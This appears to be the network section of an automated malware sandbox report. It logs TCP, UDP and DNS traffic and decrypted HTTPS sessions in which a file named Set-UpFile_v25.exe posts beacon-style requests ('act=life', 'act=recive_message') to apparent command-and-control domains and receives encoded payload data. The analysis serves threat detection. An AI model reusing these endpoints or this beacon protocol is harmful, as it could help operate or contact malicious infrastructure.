Jan 7, 2025 14:37:22.773472071 CET	443	49754	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:22.773652077 CET	49754	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:22.775212049 CET	49754	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:22.775224924 CET	443	49754	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:22.775470972 CET	443	49754	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:22.776906967 CET	49754	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:22.777043104 CET	49754	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:22.777076006 CET	443	49754	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:23.549746037 CET	443	49754	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:23.549855947 CET	443	49754	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:23.549932003 CET	49754	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:23.595263004 CET	49754	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:23.595335960 CET	443	49754	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:23.878432989 CET	49755	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:23.878473997 CET	443	49755	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:23.878544092 CET	49755	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:23.943556070 CET	49755	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:23.943584919 CET	443	49755	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:24.415503979 CET	443	49755	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:24.415568113 CET	49755	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:24.417109013 CET	49755	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:24.417119026 CET	443	49755	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:24.417362928 CET	443	49755	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:24.418783903 CET	49755	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:24.418927908 CET	49755	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:24.418932915 CET	443	49755	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:24.859766006 CET	443	49755	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:24.859910011 CET	443	49755	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:24.859961987 CET	49755	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:24.860280037 CET	49755	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:24.860295057 CET	443	49755	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:25.576251984 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:25.576284885 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:25.576360941 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:25.576730967 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:25.576744080 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:26.047687054 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:26.047768116 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.049245119 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.049251080 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:26.049484015 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:26.051048994 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.051904917 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.051933050 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:26.052347898 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.052373886 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:26.052474022 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.052489042 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:26.053055048 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.053071022 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:26.053195953 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.053217888 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:26.053375959 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.053392887 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:26.053402901 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.053520918 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.053541899 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.062611103 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:26.062872887 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.062891006 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:26.062907934 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.062963963 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.063002110 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.063158035 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:26.063361883 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.063391924 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:26.063402891 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:26.068228006 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:27.658402920 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:27.658498049 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:27.658566952 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:27.658850908 CET	49756	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:27.658864975 CET	443	49756	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:27.688219070 CET	49757	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:27.688271046 CET	443	49757	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:27.688366890 CET	49757	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:27.688714027 CET	49757	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:27.688726902 CET	443	49757	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:28.145315886 CET	443	49757	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:28.145395041 CET	49757	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:28.150253057 CET	49757	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:28.150280952 CET	443	49757	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:28.150542974 CET	443	49757	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:28.152039051 CET	49757	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:28.152071953 CET	49757	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:28.152136087 CET	443	49757	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:28.640237093 CET	443	49757	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:28.640336990 CET	443	49757	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:28.640408993 CET	49757	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:28.640670061 CET	49757	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:28.640693903 CET	443	49757	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:28.640707016 CET	49757	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:28.640717983 CET	443	49757	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:28.750890017 CET	49758	443	192.168.2.4	185.161.251.21
Jan 7, 2025 14:37:28.750922918 CET	443	49758	185.161.251.21	192.168.2.4
Jan 7, 2025 14:37:28.750992060 CET	49758	443	192.168.2.4	185.161.251.21
Jan 7, 2025 14:37:28.751362085 CET	49758	443	192.168.2.4	185.161.251.21
Jan 7, 2025 14:37:28.751374960 CET	443	49758	185.161.251.21	192.168.2.4
Jan 7, 2025 14:37:29.414772987 CET	443	49758	185.161.251.21	192.168.2.4
Jan 7, 2025 14:37:29.414834976 CET	49758	443	192.168.2.4	185.161.251.21
Jan 7, 2025 14:37:29.416871071 CET	49758	443	192.168.2.4	185.161.251.21
Jan 7, 2025 14:37:29.416881084 CET	443	49758	185.161.251.21	192.168.2.4
Jan 7, 2025 14:37:29.417114019 CET	443	49758	185.161.251.21	192.168.2.4
Jan 7, 2025 14:37:29.418895960 CET	49758	443	192.168.2.4	185.161.251.21
Jan 7, 2025 14:37:29.459341049 CET	443	49758	185.161.251.21	192.168.2.4
Jan 7, 2025 14:37:29.681477070 CET	443	49758	185.161.251.21	192.168.2.4
Jan 7, 2025 14:37:29.681539059 CET	443	49758	185.161.251.21	192.168.2.4
Jan 7, 2025 14:37:29.681587934 CET	49758	443	192.168.2.4	185.161.251.21
Jan 7, 2025 14:37:29.681807041 CET	49758	443	192.168.2.4	185.161.251.21
Jan 7, 2025 14:37:29.681827068 CET	443	49758	185.161.251.21	192.168.2.4
Jan 7, 2025 14:37:29.681839943 CET	49758	443	192.168.2.4	185.161.251.21
Jan 7, 2025 14:37:29.681845903 CET	443	49758	185.161.251.21	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 14:37:11.142642021 CET	63481	53	192.168.2.4	1.1.1.1
Jan 7, 2025 14:37:11.162782907 CET	53	63481	1.1.1.1	192.168.2.4
Jan 7, 2025 14:37:28.644005060 CET	57106	53	192.168.2.4	1.1.1.1
Jan 7, 2025 14:37:28.750129938 CET	53	57106	1.1.1.1	192.168.2.4
Jan 7, 2025 14:37:29.705832005 CET	50957	53	192.168.2.4	1.1.1.1
Jan 7, 2025 14:37:29.715138912 CET	53	50957	1.1.1.1	192.168.2.4
Jan 7, 2025 14:37:30.804349899 CET	58658	53	192.168.2.4	1.1.1.1
Jan 7, 2025 14:37:30.818614006 CET	53	58658	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 7, 2025 14:37:11.142642021 CET	192.168.2.4	1.1.1.1	0x611	Standard query (0)	beattalkerz.cyou	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:37:28.644005060 CET	192.168.2.4	1.1.1.1	0xd62a	Standard query (0)	cegu.shop	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:37:29.705832005 CET	192.168.2.4	1.1.1.1	0xc8b6	Standard query (0)	klipvumisui.shop	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:37:30.804349899 CET	192.168.2.4	1.1.1.1	0x7106	Standard query (0)	dfgh.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 7, 2025 14:37:11.162782907 CET	1.1.1.1	192.168.2.4	0x611	No error (0)	beattalkerz.cyou		104.21.25.52	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:37:11.162782907 CET	1.1.1.1	192.168.2.4	0x611	No error (0)	beattalkerz.cyou		172.67.222.183	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:37:28.750129938 CET	1.1.1.1	192.168.2.4	0xd62a	No error (0)	cegu.shop		185.161.251.21	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:37:29.715138912 CET	1.1.1.1	192.168.2.4	0xc8b6	Name error (3)	klipvumisui.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 14:37:30.818614006 CET	1.1.1.1	192.168.2.4	0x7106	Name error (3)	dfgh.online	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

beattalkerz.cyou

cegu.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49748	104.21.25.52	443	7272	C:\Users\user\Desktop\Set-UpFile_v25.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:37:11 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: beattalkerz.cyou
2025-01-07 13:37:11 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-07 13:37:12 UTC	1123	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 13:37:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s6uksiqju9rtuumh4hiuk4dr19; expires=Sat, 03 May 2025 07:23:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iToJptAAeGYa0tDCCR4EurRsl8PZ0MIZQPj9bqfNLjD09OEjMxxgm%2F1F%2Fla0rlJJfGlH54kEVeiw1eW%2B%2FXc7GNRjOJDbB64RXO1AsKHo1QKBfh9pikLmdIZwwzwPhqAKr4MH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe45750993b7c99-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1949&min_rtt=1940&rtt_var=746&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=907&delivery_rate=1449131&cwnd=235&unsent_bytes=0&cid=fd93a1480967260c&ts=496&x=0"
2025-01-07 13:37:12 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-07 13:37:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49749	104.21.25.52	443	7272	C:\Users\user\Desktop\Set-UpFile_v25.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:37:12 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 78 Host: beattalkerz.cyou
2025-01-07 13:37:12 UTC	78	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 26 6a 3d 36 33 37 62 35 35 32 37 39 30 32 31 61 61 62 33 33 32 37 38 31 38 38 63 66 61 36 33 38 33 39 37 Data Ascii: act=recive_message&ver=4.0&lid=hRjzG3--ZINA&j=637b55279021aab33278188cfa638397
2025-01-07 13:37:13 UTC	1123	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 13:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8ovmel7fhkvpeptii6ae6ae8ea; expires=Sat, 03 May 2025 07:23:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YDUy2gI5cad%2FEcciy2UwWNzBuzuchQTm5mkOEYn43p%2FBYscYtYZqzx7DiCo9Oi9ehV8t7Q3hZaM3fzqiry8oko6tlOHnhKZ%2FxJPLfxhozV%2Fk5RP1uZAhYJAG7daQcZpvmLux"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe4575668750f49-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1987&min_rtt=1581&rtt_var=883&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=978&delivery_rate=1846932&cwnd=215&unsent_bytes=0&cid=0debd7473ca6caa9&ts=458&x=0"
2025-01-07 13:37:13 UTC	246	IN	Data Raw: 34 66 32 34 0d 0a 4f 45 2b 41 32 78 32 2f 53 66 6d 38 45 34 4c 43 36 35 65 45 62 66 6b 2f 49 68 64 71 53 4b 70 68 52 50 6e 70 74 33 50 56 70 62 74 44 62 66 62 35 4a 34 74 6c 32 38 39 32 6f 50 69 66 35 66 45 49 31 52 31 44 63 30 68 79 7a 41 41 6f 69 6f 79 62 55 61 50 49 6d 51 49 70 34 62 64 75 32 6d 58 62 32 57 75 67 2b 4c 44 73 70 67 69 58 48 52 67 31 44 79 4c 49 41 43 69 62 69 4e 77 63 70 63 6e 59 55 43 50 6e 73 33 6a 63 4c 5a 6a 51 66 75 65 6e 6a 76 62 75 41 35 42 53 53 6e 70 49 5a 49 67 45 50 74 76 54 6c 54 36 77 30 64 70 31 4c 76 4f 77 50 38 4a 6c 67 70 35 32 37 4f 44 52 74 65 55 49 6d 31 4e 45 63 77 45 67 77 67 6b 67 6d 6f 33 64 41 37 7a 44 30 31 41 74 35 4c 4a 79 31 54 6d 56 32 6e 6e 73 6f 59 54 32 70 6b 48 62 57 6c 67 31 Data Ascii: 4f24OE+A2x2/Sfm8E4LC65eEbfk/IhdqSKphRPnpt3PVpbtDbfb5J4tl2892oPif5fEI1R1Dc0hyzAAoioybUaPImQIp4bdu2mXb2Wug+LDspgiXHRg1DyLIACibiNwcpcnYUCPns3jcLZjQfuenjvbuA5BSSnpIZIgEPtvTlT6w0dp1LvOwP8Jlgp527ODRteUIm1NEcwEgwgkgmo3dA7zD01At5LJy1TmV2nnsoYT2pkHbWlg1
2025-01-07 13:37:13 UTC	1369	IN	Data Raw: 55 47 71 62 4d 53 57 4b 6d 73 41 63 70 38 47 5a 52 57 50 37 2b 58 6a 52 61 38 4f 65 65 65 79 75 6a 50 62 70 43 4a 70 64 55 6e 6f 49 4b 63 41 4c 49 70 47 45 32 68 36 35 7a 64 35 53 4a 4f 57 32 65 4e 55 74 6c 4e 30 78 72 75 43 4f 37 61 5a 58 32 33 31 51 64 67 73 2b 78 52 4a 6d 68 4d 58 4d 55 62 44 4c 6d 51 4a 74 35 4c 64 2b 30 43 75 4a 31 6e 72 72 70 5a 76 2b 37 77 4b 57 58 55 31 2f 42 79 6e 49 42 43 79 52 68 4e 38 56 75 73 72 66 57 69 32 69 39 7a 2f 61 4d 39 75 47 4d 63 4f 6c 6d 66 4c 71 47 64 6c 6e 41 47 70 47 4d 34 67 45 4b 74 76 54 6c 52 6d 79 78 4e 70 52 49 75 47 78 64 4d 38 72 69 64 68 38 35 62 4b 50 38 4f 67 46 6d 45 39 4b 65 77 34 70 77 51 67 76 6e 6f 7a 52 55 66 6d 48 33 6b 4a 74 75 76 6c 65 30 43 43 58 31 47 62 67 34 4a 61 37 2f 30 2b 63 55 51 41 Data Ascii: UGqbMSWKmsAcp8GZRWP7+XjRa8OeeeyujPbpCJpdUnoIKcALIpGE2h65zd5SJOW2eNUtlN0xruCO7aZX231Qdgs+xRJmhMXMUbDLmQJt5Ld+0CuJ1nrrpZv+7wKWXU1/BynIBCyRhN8VusrfWi2i9z/aM9uGMcOlmfLqGdlnAGpGM4gEKtvTlRmyxNpRIuGxdM8ridh85bKP8OgFmE9Kew4pwQgvnozRUfmH3kJtuvle0CCX1Gbg4Ja7/0+cUQA
2025-01-07 13:37:13 UTC	1369	IN	Data Raw: 51 39 6d 31 63 76 53 43 66 65 66 6d 58 41 75 39 72 70 31 6e 78 36 59 30 48 2f 6e 74 73 6e 71 71 42 62 62 57 6b 77 31 55 47 72 46 41 69 36 64 6d 64 6f 63 74 4d 6e 58 56 53 6a 74 73 58 2f 64 4a 70 37 61 65 75 75 6a 68 50 48 30 42 5a 74 56 52 58 51 43 49 49 68 4e 5a 70 79 54 6c 55 6e 33 39 73 35 52 62 39 65 36 63 64 4d 73 6a 5a 35 75 72 72 6e 4a 38 75 70 50 77 78 31 4e 66 51 30 76 78 77 49 73 6c 59 37 66 48 62 2f 4a 32 6b 67 69 35 72 6c 7a 31 53 47 57 30 48 58 6f 71 59 4c 2b 34 41 2b 61 56 77 41 37 53 43 33 51 51 33 37 62 76 39 49 64 75 73 69 62 62 79 37 73 74 33 6a 4c 61 34 53 51 61 4b 43 6e 68 62 57 2b 54 35 64 55 51 48 34 43 4c 73 67 45 4b 35 36 49 30 68 4b 36 77 4e 4e 55 4b 75 61 31 64 74 41 74 6d 39 6c 31 35 62 4b 4d 2f 4f 6f 44 32 78 4d 41 63 68 42 71 Data Ascii: Q9m1cvSCfefmXAu9rp1nx6Y0H/ntsnqqBbbWkw1UGrFAi6dmdoctMnXVSjtsX/dJp7aeuujhPH0BZtVRXQCIIhNZpyTlUn39s5Rb9e6cdMsjZ5urrnJ8upPwx1NfQ0vxwIslY7fHb/J2kgi5rlz1SGW0HXoqYL+4A+aVwA7SC3QQ37bv9Idusibby7st3jLa4SQaKCnhbW+T5dUQH4CLsgEK56I0hK6wNNUKua1dtAtm9l15bKM/OoD2xMAchBq
2025-01-07 13:37:13 UTC	1369	IN	Data Raw: 79 48 6c 55 6e 33 7a 74 42 49 49 2b 79 77 63 74 73 6a 6e 4e 42 38 36 36 61 43 38 75 45 4a 6c 6c 56 4e 63 41 73 72 7a 41 6b 30 6d 49 44 66 48 4c 32 48 6c 78 6f 71 2b 76 6b 6e 6e 51 79 58 39 32 48 37 73 70 2b 31 2b 55 47 43 48 55 64 35 53 48 4b 49 41 43 6d 53 68 4e 30 5a 75 4d 6a 64 56 43 76 6b 74 48 72 53 49 59 6e 57 66 2b 32 72 68 76 37 30 44 35 5a 5a 54 48 45 41 49 63 4a 44 61 4e 75 4d 7a 56 48 76 68 2b 78 58 49 75 4b 36 61 5a 30 30 31 63 63 78 35 36 7a 4a 72 61 59 44 6c 56 31 50 65 51 51 68 77 41 49 71 6c 59 7a 51 47 4c 2f 50 79 31 73 70 36 72 68 78 30 69 71 66 32 33 54 6b 70 34 33 7a 36 55 2f 56 48 55 64 74 53 48 4b 49 4c 41 47 75 79 66 51 72 39 39 69 58 51 32 33 6c 74 54 2b 46 61 35 66 64 66 65 69 76 6a 2f 7a 71 42 5a 4a 57 54 48 34 4d 4a 73 45 47 49 Data Ascii: yHlUn3ztBII+ywctsjnNB866aC8uEJllVNcAsrzAk0mIDfHL2Hlxoq+vknnQyX92H7sp+1+UGCHUd5SHKIACmShN0ZuMjdVCvktHrSIYnWf+2rhv70D5ZZTHEAIcJDaNuMzVHvh+xXIuK6aZ001ccx56zJraYDlV1PeQQhwAIqlYzQGL/Py1sp6rhx0iqf23Tkp43z6U/VHUdtSHKILAGuyfQr99iXQ23ltT+Fa5fdfeivj/zqBZJWTH4MJsEGI
2025-01-07 13:37:13 UTC	1369	IN	Data Raw: 58 70 63 44 51 53 43 50 76 74 6e 66 56 49 70 72 61 64 4f 32 6d 68 66 2f 6e 43 4a 56 54 53 44 56 47 61 73 38 62 5a 73 50 4c 39 41 47 73 31 63 39 58 44 4f 2b 32 50 38 4a 6c 67 70 35 32 37 4f 44 52 74 65 38 64 6e 31 42 53 66 41 38 6b 78 77 41 30 6d 6f 62 65 41 37 44 49 33 56 30 68 35 4c 5a 35 33 43 36 52 30 6e 62 6c 71 34 62 35 70 6b 48 62 57 6c 67 31 55 47 72 6d 43 44 57 4d 69 4e 73 61 6f 64 79 5a 52 57 50 37 2b 58 6a 52 61 38 4f 65 63 75 75 72 6a 66 58 71 44 35 39 51 51 47 63 48 4c 63 38 4b 4c 59 6d 42 30 68 61 38 7a 39 4a 56 4b 2f 43 31 63 63 38 75 69 63 77 78 72 75 43 4f 37 61 5a 58 32 32 74 48 5a 52 67 70 69 6a 49 77 6d 4a 33 65 48 4c 75 48 78 68 51 30 6f 72 35 7a 6e 58 50 62 32 48 37 70 6f 34 62 30 37 77 4f 57 57 45 6c 77 43 53 7a 4d 43 53 79 62 6a 64 Data Ascii: XpcDQSCPvtnfVIpradO2mhf/nCJVTSDVGas8bZsPL9AGs1c9XDO+2P8Jlgp527ODRte8dn1BSfA8kxwA0mobeA7DI3V0h5LZ53C6R0nblq4b5pkHbWlg1UGrmCDWMiNsaodyZRWP7+XjRa8OecuurjfXqD59QQGcHLc8KLYmB0ha8z9JVK/C1cc8uicwxruCO7aZX22tHZRgpijIwmJ3eHLuHxhQ0or5znXPb2H7po4b07wOWWElwCSzMCSybjd
2025-01-07 13:37:13 UTC	1369	IN	Data Raw: 77 42 6f 71 37 76 6b 6e 6e 53 69 63 33 58 44 71 71 59 58 36 34 51 75 4a 56 30 64 6e 43 53 76 44 44 69 71 62 68 74 67 62 74 73 37 55 56 69 44 6c 76 6e 44 59 61 39 57 65 64 76 6a 67 30 62 58 48 41 70 42 52 47 79 39 49 4e 59 59 61 5a 70 79 48 6c 55 6e 33 78 39 4e 66 4a 2b 2b 36 63 4e 34 35 6d 74 68 6a 34 4b 32 44 35 2b 77 45 6e 6c 42 4e 65 41 73 73 7a 67 67 71 69 59 4c 56 45 72 79 48 6c 78 6f 71 2b 76 6b 6e 6e 51 69 4d 79 48 76 6e 72 4a 2f 2b 35 77 79 4e 55 46 41 31 52 6d 72 5a 42 44 66 62 30 38 4d 42 6f 4d 44 47 46 44 53 69 76 6e 4f 64 63 39 76 59 65 4f 61 6e 6a 2f 76 30 43 70 31 53 54 33 77 42 4c 73 41 41 4a 70 2b 50 30 68 53 30 79 39 4a 64 4c 75 32 39 64 74 4d 69 6c 4a 34 2f 6f 4b 65 52 74 62 35 50 75 6b 5a 44 65 51 56 71 31 30 30 2f 32 34 7a 5a 55 65 2b Data Ascii: wBoq7vknnSic3XDqqYX64QuJV0dnCSvDDiqbhtgbts7UViDlvnDYa9Wedvjg0bXHApBRGy9INYYaZpyHlUn3x9NfJ++6cN45mthj4K2D5+wEnlBNeAsszggqiYLVEryHlxoq+vknnQiMyHvnrJ/+5wyNUFA1RmrZBDfb08MBoMDGFDSivnOdc9vYeOanj/v0Cp1ST3wBLsAAJp+P0hS0y9JdLu29dtMilJ4/oKeRtb5PukZDeQVq100/24zZUe+
2025-01-07 13:37:13 UTC	1369	IN	Data Raw: 63 4b 79 61 64 67 73 6a 5a 78 45 34 36 36 48 38 76 42 50 68 47 49 4f 4e 51 6c 71 6b 44 6f 2f 32 35 32 56 53 65 57 4a 6d 55 68 74 75 76 6b 34 33 6a 6d 4a 32 48 4c 32 6f 38 37 4c 32 43 69 4e 56 30 64 6c 44 7a 33 48 51 32 6a 62 68 4a 56 4a 6a 6f 66 51 58 54 62 7a 72 33 4c 4e 4c 4e 76 68 50 36 43 34 79 61 32 6d 4f 70 68 54 54 6e 49 65 4f 34 55 6b 4d 4a 47 4d 78 52 61 67 79 4a 6b 55 62 65 54 35 4a 34 35 6c 32 39 70 67 6f 50 6a 5a 70 37 31 61 79 41 6f 51 4a 78 64 6b 30 55 4d 77 32 39 4f 48 58 2f 66 56 6d 51 4a 74 70 62 70 74 7a 79 32 59 79 48 4b 6e 6e 72 66 53 2f 41 4b 64 53 6c 46 4c 4e 69 33 53 44 69 43 4d 6d 70 6b 45 74 4d 6e 58 58 54 75 69 39 7a 2f 53 61 38 50 6e 4d 61 6a 67 74 72 75 6d 46 39 73 46 41 45 41 4c 4a 4d 59 45 4d 49 72 47 38 67 75 36 77 63 35 4c Data Ascii: cKyadgsjZxE466H8vBPhGIONQlqkDo/252VSeWJmUhtuvk43jmJ2HL2o87L2CiNV0dlDz3HQ2jbhJVJjofQXTbzr3LNLNvhP6C4ya2mOphTTnIeO4UkMJGMxRagyJkUbeT5J45l29pgoPjZp71ayAoQJxdk0UMw29OHX/fVmQJtpbptzy2YyHKnnrfS/AKdSlFLNi3SDiCMmpkEtMnXXTui9z/Sa8PnMajgtrumF9sFAEALJMYEMIrG8gu6wc5L
